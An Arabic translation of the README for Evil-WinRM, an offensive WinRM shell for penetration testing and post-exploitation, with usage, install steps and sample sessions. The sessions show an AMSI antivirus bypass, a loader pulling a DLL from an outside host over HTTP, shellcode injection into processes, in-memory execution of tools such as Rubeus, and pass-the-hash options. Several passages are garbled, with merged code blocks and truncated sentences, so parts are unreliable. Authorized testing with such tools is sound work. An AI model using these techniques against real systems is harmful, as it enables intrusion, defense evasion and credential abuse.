
أداة WinRM shell المثلى للاختراق/اختبار الاختراق
الصدفة المثلى لـ WinRM للاختراق/الاختبار الأمني

هذه الصدفة هي الصدفة المثلى لـ WinRM للاختراق/الاختبار الأمني.
WinRM (الإدارة عن بُعد لنظام ويندوز) هو تطبيق مايكروسوفت لبروتوكول WS-Management. وهو بروتوكول قياسي يعتمد على SOAP يسمح للأجهزة وأنظمة التشغيل من بائعين مختلفين بالتفاعل مع بعضها البعض. أدرجته مايكروسوفت في أنظمة تشغيلها لتسهيل حياة مسؤولي الأنظمة.
يمكن استخدام هذا البرنامج على أي خوادم ويندوز من مايكروسوفت مع تفعيل هذه الميزة (عادةً على المنفذ 5985)، بالطبع فقط إذا كانت لديك بيانات اعتماد وصلاحيات لاستخدامه. لذا يمكننا القول إنه يمكن استخدامه في مرحلة ما بعد الاستغلال في الاختراق/الاختبار الأمني. الغرض من هذا البرنامج هو توفير ميزات سهلة ومريحة للاختراق. يمكن استخدامه أيضًا لأغراض مشروعة من قبل مسؤولي الأنظمة، لكن معظم ميزاته تركز على أمور الاختراق/الاختبار الأمني.
يعتمد بشكل أساسي على مكتبة WinRM الخاصة بـ Ruby والتي غيّرت طريقة عملها منذ إصدارها 2.0. الآن بدلاً من استخدام بروتوكول WinRM، يستخدم PSRP (بروتوكول الاتصال عن بُعد لـ Powershell) لتهيئة مجموعات runspace بالإضافة إلى إنشاء ومعالجة خطوط الأنابيب.
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## المتطلبات
يلزم توفر Ruby 2.3 أو إصدار أحدث. كما يلزم توفر بعض حِزم ruby gems: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
اعتمادًا على طريقة التثبيت لديك (4 طرق متاحة)، قد يلزم تثبيتها يدويًا.
من المتطلبات المهمة الأخرى المستخدمة فقط لمصادقة Kerberos هو تثبيت حزمة Kerberos المستخدمة للمصادقة عبر الشبكة.
بالنسبة لبعض توزيعات Linux القائمة على Debian (مثل Kali وParrot وغيرها)، تُسمى `krb5-user`. أما بالنسبة لـ BlackArch فتُسمى `krb5`، وقد تُسمى بطريقة مختلفة في توزيعات Linux الأخرى.
تتطلب ميزة إكمال المسار البعيد ربط `readline-ext` الأصلي، والذي يتم تثبيته تلقائيًا كاعتماد لـ Evil-WinRM. تتطلب بعض الأنظمة حزم تطوير إضافية لتجميعه. راجع [القسم أدناه](#Remote-path-completion) لمزيد من المعلومات.
## التثبيت والبدء السريع (4 طرق)
### الطريقة 1. التثبيت مباشرة كـ ruby gem (سيتم تثبيت الاعتماديات تلقائيًا على نظامك)
- الخطوة 1. قم بتثبيته (سيقوم تلقائيًا بتثبيت الاعتماديات): ```gem install evil-winrm```
- الخطوة 2. انتهيت. فقط قم بتشغيله!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutils readline readline-extgit clone https://github.com/Hackplayers/evil-winrm.git### الطريقة 3. استخدام bundler (لن يتم تثبيت التبعيات على نظامك، فقط لاستخدام evil-winrm)
- الخطوة 1. تثبيت bundler: `gem install bundler`
- الخطوة 2. استنساخ المستودع: `git clone https://github.com/Hackplayers/evil-winrm.git`
- الخطوة 3. تثبيت التبعيات باستخدام bundler: `cd evil-winrm && bundle install --path vendor/bundle`
- الخطوة 4. تشغيله باستخدام bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
## التوثيق
### كلمة المرور كنص واضح
إذا كنت لا تريد وضع كلمة المرور كنص واضح، يمكنك اختيارياً تجنب تعيين الوسيط `-p` وسيُطلب منك إدخال كلمة المرور دون إظهارها.
### Ipv6
لاستخدام IPv6، يجب إضافة العنوان إلى ملف /etc/hosts. فقط ضع اسم المضيف المُحدد مسبقاً بعد الوسيط `-i` بدلاً من عنوان IP.
### الأوامر الأساسية
- **upload**: يمكن إكمال الملفات المحلية تلقائياً باستخدام مفتاح tab.
- الاستخدام: `upload local_filename` أو `upload local_filename destination_filename`
- **download**:
- الاستخدام: `download remote_filename` أو `download remote_filename destination_filename`
__ملاحظات حول المسارات (upload/download)__:
لا يُسمح باستخدام المسارات النسبية في download/upload. استخدم أسماء الملفات في الدليل الحالي أو المسار المطلق.
إذا كنت تستخدم Evil-WinRM في بيئة docker، ضع في اعتبارك أن جميع المسارات المحلية يجب أن تكون في `/data` وتأكد تماماً من أنك قمت بتعيينها كوحدة تخزين (volume) لتتمكن من الوصول إلى الملفات التي تم تنزيلها أو لتتمكن من رفع الملفات من نظام التشغيل المحلي لديك.
- **services**: يعرض قائمة بجميع الخدمات مع إظهار ما إذا كان حسابك لديه صلاحيات على كل منها. لا حاجة لصلاحيات المسؤول لاستخدام هذه الميزة.
- **menu**: يقوم بتحميل دوال `Invoke-Binary` و`Dll-Loader` و`Donut-Loader` التي سنشرحها أدناه. عند تحميل ملف ps1 ستظهر جميع دواله.
- **clear** أو **cls**: مسح شاشة الطرفية. يمكنك أيضاً استخدام اختصار لوحة المفاتيح `Ctrl+L` لمسح الشاشة.
- **exit** أو **quit**: إغلاق جلسة Evil-WinRM. يمكنك أيضاً استخدام اختصار لوحة المفاتيح `Ctrl+D`.```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
لتحميل ملف ps1، ما عليك سوى كتابة الاسم (يُسمح بالإكمال التلقائي باستخدام مفتاح Tab). يجب أن تكون السكربتات في المسار المحدد في الوسيط -s. اكتب menu مرة أخرى وشاهد الدوال المحمّلة. قد تستغرق الملفات الكبيرة جدًا وقتًا طويلاً ليتم تحميلها.```
Evil-WinRM PS C:> PowerView.ps1
Evil-WinRM PS C:> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ')
_ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| /
/ / / / /
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### الأوامر المتقدمة
- Invoke-Binary: يسمح بتنفيذ تجميعات .Net في الذاكرة. يمكن إكمال الاسم تلقائيًا باستخدام مفتاح Tab. يمكن تمرير الوسائط الخاصة بملف exe مفصولة بفواصل. مثال: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. يجب أن تكون الملفات التنفيذية في المسار المحدد في وسيط `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
Dll-Loader: يسمح بتحميل مكتبات dll في الذاكرة، وهو مكافئ لـ: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
يمكن استضافة ملف dll عبر smb أو http أو محليًا. بمجرد تحميله، اكتب menu، ثم يصبح من الممكن إكمال جميع الوظائف تلقائيًا.```
Evil-WinRM PS C:> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
- **Donut-Loader**: يسمح بحقن حمولات x64 المُولّدة بتقنية [donut] الرائعة. لا حاجة لتشفير ملف payload.bin، فقط قم بتوليده وحقنه!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
يمكنك استخدام donut-maker هذا لتوليد payload.bin إذا كنت لا تستخدم ويندوز. يستخدم هذا السكربت وحدة بايثون كتبها Marcello Salvati (byt3bl33d3r). يمكن تثبيتها باستخدام pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI: تصحيح حماية AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
أولاً يجب مزامنة التاريخ مع وحدة التحكم بالمجال (DC): rdate -n <dc_ip>
لتوليد التذكرة هناك عدة طرق:
أضف ملف التذكرة. هناك 3 طرق:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
استخدم المعامل -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache أو evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
عند استخدام -K، ستقوم الأداة تلقائياً بما يلي:
KRB5CCNAMEتتطلب هذه الميزة ربط readline-ext الأصلي. يعلن Evil-WinRM عنها كاعتماد، لذا يتم تثبيتها تلقائيًا عند استخدام RubyGems أو Bundler. إذا تعذر بناء الامتداد الأصلي، فلن تعمل هذه الميزة (سيتم عرض تحذير).
ملاحظة Ruby 3.3+:
تمت إزالة ext/readline من مصدر Ruby في الإصدار 3.3 (الميزة #19616). لذلك، لا يمكن استخدام الطريقة 1 أدناه مع Ruby 3.3 أو الأحدث. على الأنظمة القائمة على Debian، قم بتثبيت حزمة التطوير المطلوبة قبل تثبيت Evil-WinRM أو اعتمادياته:```
sudo apt install libreadline-dev
تعتمد `readline-ext` على جعل `require 'readline'` يقوم بتحميل GNU Readline بدلاً من `reline`، الذي يفتقر إلى `quoting_detection_proc`، وهي الطريقة التي يتحقق منها Evil-WinRM. الطرق أدناه تستهدف إصدارات Ruby الأقدم ويتم الاحتفاظ بها للتوافق.
#### الطريقة 1 (تجميع الامتداد المطلوب)
باستخدام هذه الطريقة، ستقوم بتجميع ruby مع ميزة readline المطلوبة، ولكن لاستخدام المكتبة فقط دون تغيير إصدار ruby الافتراضي على نظامك. ولهذا السبب، فهي الطريقة الأكثر تفضيلاً.
لنفترض أن لديك على نظامك القائم على Debian إصدار ruby 2.7.3:```
# Install needed package
apt install libreadline-dev
# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Extract source code
tar -xf ruby-2.7.3.tar.gz
# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
لنفترض أنك تريد ruby 2.7.1 على نظام Linux مبني على Debian وأنك تستخدم zsh. سيعمل هذا السكربت على أتمتة ذلك. ستحتاج إلى تشغيله من نفس المجلد الذي يوجد فيه evil-winrm.rb و Gemfile (مثل المجلد الذي تم إنشاؤه بواسطة evil-winrm بعد git clone على سبيل المثال):``` #!/usr/bin/env zsh
sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q
sudo apt install rbenv
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1
rbenv local 2.7.1
gem install bundler bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"
sudo chmod +x /usr/bin/evil-winrm
ثم يمكنك تشغيل evil-winrm بأمان باستخدام روبي المثبت حديثًا مع دعم readline المطلوب من أي موقع.
#### الطريقة 3 (تجميع روبي بالكامل)
إذا كنت تريد تجميعه بنفسك، يمكنك اتباع هذه الخطوات. لنفترض أنك تريد روبي 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
اعتمادًا على نظامك، سيتم تثبيته في /opt/rubies/ruby-2.7.3 أو ربما في ~/.rubies/ruby-2.7.3.
الآن تحتاج فقط إلى تثبيت تبعيات evil-winrm لإصدار ruby الجديد المثبت. أسهل طريقة هي تشغيل الأمر /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. يجب أن يكون أمر gem المستخدم تابعًا لتثبيت ruby الجديد.
بعد ذلك، يمكنك تشغيل ruby الجديد المثبت بأمان لاستخدامه مع evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
يُوصى باستخدام ruby الجديد المثبت فقط لتشغيل evil-winrm. إذا قمت بتعيينه كـ ruby الافتراضي لنظامك، فضع في اعتبارك أنه لا يحتوي على حزم التبعيات المثبتة. بعض البرامج القائمة على ruby مثل Metasploit أو غيرها قد لا تبدأ بشكل صحيح بسبب مشاكل التبعيات.
ستقوم هذه الميزة بإنشاء ملفات في دليل $HOME الخاص بك لحفظ الأوامر ومخرجات جلسات WinRM.
يحافظ Evil-WinRM على سجل أوامر دائم لكل مجموعة مضيف ومستخدم. يتم تخزين السجل في دليل ~/.evil-winrm/history/ مع ملفات مسماة بصيغة {host}_{user}.hist.
عند الاتصال بجهاز قمت بالوصول إليه سابقًا، يمكنك استخدام مفاتيح الأسهم (أعلى/أسفل) للتنقل عبر أوامرك السابقة. يتم حفظ السجل تلقائيًا بعد كل تنفيذ أمر ويتم تحميله عند إعادة الاتصال بنفس المضيف مع نفس المستخدم.
في بعض الأحيان، قد تواجه خطأ مثل هذا:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
الخطأ ناتج عن أن إصدار OpenSSL 3.0 أزال بعض الدوال القديمة مثل MD4 اللازمة لتشغيل هذه الأداة. توجد عدة حلول بديلة قائمة للتعامل مع هذه الحالة:
- حدّث نظامك إلى أحدث إصدار. على الأرجح، تم إصلاح هذه المشكلة تلقائيًا في أحدث إصدارات Ruby التي تستخدم إصدارات OpenSSL أحدث.
- قم بتجميع Ruby خاص بك باستخدام OpenSSL 1.x القديم بدلاً من OpenSSL 3.0 أو قم بتجميعه باستخدام OpenSSL > 3.0 لتجنب الإصدار 3.0 الإشكالي.
- الحل الأسهل. عدّل ملف الإعداد `/etc/ssl/openssl.cnf` وتأكد من أن الإعداد يكون على هذا النحو:```
openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
evil-tls.conf. بعد ذلك، قم بتصدير متغير بيئة لفرض النظام على استخدامه: export OPENSSL_CONF="/path/to/evil-tls.conf". ثم قم بتشغيل الأداة، وسيختفي الخطأ.يمكن الاطلاع على سجل التغييرات وتغييرات المشروع هنا: CHANGELOG.md
الفريق:
شكر خاص إلى:
هذا السكربت مرخص بموجب LGPLv3+. رابط مباشر إلى الترخيص.
يجب استخدام Evil-WinRM فقط لاختبارات الاختراق المصرح بها و/أو الأغراض التعليمية غير الربحية. لن يتحمل المؤلف أو أي مساهم آخر مسؤولية أي إساءة استخدام لهذا البرنامج. استخدمه على خوادمك الخاصة و/أو بإذن من مالك الخادم.
أضف النطاق (realm) إلى /etc/krb5.conf (لنظام لينكس). استخدام هذا التنسيق مهم: ```
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
تحقق من تذاكر Kerberos باستخدام klist
لإزالة التذكرة استخدم: kdestroy
لمزيد من المعلومات حول Kerberos راجع [ورقة الغش هذه]